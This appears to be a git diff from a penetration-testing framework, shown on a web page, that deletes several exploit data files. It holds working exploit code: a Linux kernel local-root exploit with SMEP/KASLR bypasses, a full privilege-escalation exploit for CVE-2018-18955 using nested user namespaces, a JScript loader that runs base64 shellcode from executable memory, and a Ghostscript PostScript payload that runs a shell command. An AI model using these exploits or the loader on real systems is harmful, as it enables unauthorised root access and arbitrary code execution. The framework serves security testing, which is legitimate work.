|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,52 +0,0 @@
|
||||
// subshell.c
|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1) err(1, "fork");
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
if (chdir(pbuf)) err(1, "chdir");
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
if (uid_map == -1) err(1, "open uid map");
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||
close(uid_map);
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
if (gid_map == -1) err(1, "open gid map");
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||
close(gid_map);
|
||||
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) err(1, "wait");
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,272 +0,0 @@
|
||||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SUBSHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,102 +0,0 @@
|
||||
[VPNTEST]
|
||||
Encoding=1
|
||||
PBVersion=1
|
||||
Type=2
|
||||
AutoLogon=1
|
||||
UseRasCredentials=1
|
||||
LowDateTime=-1345834320
|
||||
HighDateTime=30248544
|
||||
DialParamsUID=849441
|
||||
Guid=174463CE6AAFD4458FC57A466A95B787
|
||||
VpnStrategy=1
|
||||
ExcludedProtocols=0
|
||||
LcpExtensions=1
|
||||
DataEncryption=8
|
||||
SwCompression=0
|
||||
NegotiateMultilinkAlways=0
|
||||
SkipDoubleDialDialog=0
|
||||
DialMode=0
|
||||
OverridePref=15
|
||||
RedialAttempts=3
|
||||
RedialSeconds=60
|
||||
IdleDisconnectSeconds=0
|
||||
RedialOnLinkFailure=1
|
||||
CallbackMode=0
|
||||
CustomDialDll=
|
||||
CustomDialFunc=
|
||||
CustomRasDialDll=
|
||||
ForceSecureCompartment=0
|
||||
DisableIKENameEkuCheck=0
|
||||
AuthenticateServer=0
|
||||
ShareMsFilePrint=1
|
||||
BindMsNetClient=1
|
||||
SharedPhoneNumbers=0
|
||||
GlobalDeviceSettings=0
|
||||
PrerequisiteEntry=
|
||||
PrerequisitePbk=
|
||||
PreferredPort=VPN3-0
|
||||
PreferredDevice=WAN Miniport (PPTP)
|
||||
PreferredBps=0
|
||||
PreferredHwFlow=1
|
||||
PreferredProtocol=1
|
||||
PreferredCompression=1
|
||||
PreferredSpeaker=1
|
||||
PreferredMdmProtocol=0
|
||||
PreviewUserPw=1
|
||||
PreviewDomain=1
|
||||
PreviewPhoneNumber=0
|
||||
ShowDialingProgress=1
|
||||
ShowMonitorIconInTaskBar=1
|
||||
CustomAuthKey=0
|
||||
AuthRestrictions=544
|
||||
IpPrioritizeRemote=1
|
||||
IpInterfaceMetric=0
|
||||
IpHeaderCompression=0
|
||||
IpAddress=0.0.0.0
|
||||
IpDnsAddress=0.0.0.0
|
||||
IpDns2Address=0.0.0.0
|
||||
IpWinsAddress=0.0.0.0
|
||||
IpWins2Address=0.0.0.0
|
||||
IpAssign=1
|
||||
IpNameAssign=1
|
||||
IpDnsFlags=0
|
||||
IpNBTFlags=1
|
||||
TcpWindowSize=0
|
||||
UseFlags=2
|
||||
IpSecFlags=0
|
||||
IpDnsSuffix=
|
||||
Ipv6Assign=1
|
||||
Ipv6Address=::
|
||||
Ipv6PrefixLength=0
|
||||
Ipv6PrioritizeRemote=1
|
||||
Ipv6InterfaceMetric=0
|
||||
Ipv6NameAssign=1
|
||||
Ipv6DnsAddress=::
|
||||
Ipv6Dns2Address=::
|
||||
Ipv6Prefix=0000000000000000
|
||||
Ipv6InterfaceId=0000000000000000
|
||||
DisableClassBasedDefaultRoute=0
|
||||
DisableMobility=0
|
||||
NetworkOutageTime=0
|
||||
ProvisionType=0
|
||||
PreSharedKey=
|
||||
|
||||
NETCOMPONENTS=
|
||||
ms_msclient=1
|
||||
ms_server=1
|
||||
|
||||
MEDIA=rastapi
|
||||
Port=VPN3-0
|
||||
Device=WAN Miniport (PPTP)
|
||||
|
||||
DEVICE=vpn
|
||||
PhoneNumber=127.0.0.1
|
||||
AreaCode=
|
||||
CountryCode=0
|
||||
CountryID=0
|
||||
UseDialingRules=0
|
||||
Comment=
|
||||
FriendlyName=
|
||||
LastSelectedPhone=0
|
||||
PromoteAlternates=0
|
||||
TryNextAlternateOnFail=1
|
||||
@@ -1,77 +0,0 @@
|
||||
import System;
|
||||
import System.Runtime.InteropServices;
|
||||
import System.Reflection;
|
||||
import System.Reflection.Emit;
|
||||
import System.Runtime;
|
||||
import System.Text;
|
||||
|
||||
function InvokeWin32(dllName:String, returnType:Type,
|
||||
methodName:String, parameterTypes:Type[], parameters:Object[])
|
||||
{
|
||||
// Begin to build the dynamic assembly
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
|
||||
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
||||
var module = assembly.DefineDynamicModule('PInvokeModule');
|
||||
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
|
||||
|
||||
// Define the actual P/Invoke method
|
||||
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
|
||||
|
||||
// Apply the P/Invoke constructor
|
||||
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
|
||||
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
|
||||
method.SetCustomAttribute(attr);
|
||||
|
||||
// Create the temporary type, and invoke the method.
|
||||
var realType = type.CreateType();
|
||||
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
|
||||
}
|
||||
|
||||
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
|
||||
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [handle, dwMiliseconds ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function ShellCodeExec()
|
||||
{
|
||||
var MEM_COMMIT:uint = 0x1000;
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
var shellcodestr:String = '<%= file_payload %>'
|
||||
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
|
||||
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
|
||||
var hThread:IntPtr = IntPtr.Zero;
|
||||
var threadId:UInt32 = 0;
|
||||
// prepare data
|
||||
var pinfo:IntPtr = IntPtr.Zero;
|
||||
// execute native code
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
try{
|
||||
ShellCodeExec();
|
||||
}catch(e){}
|
||||
@@ -1,9 +0,0 @@
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user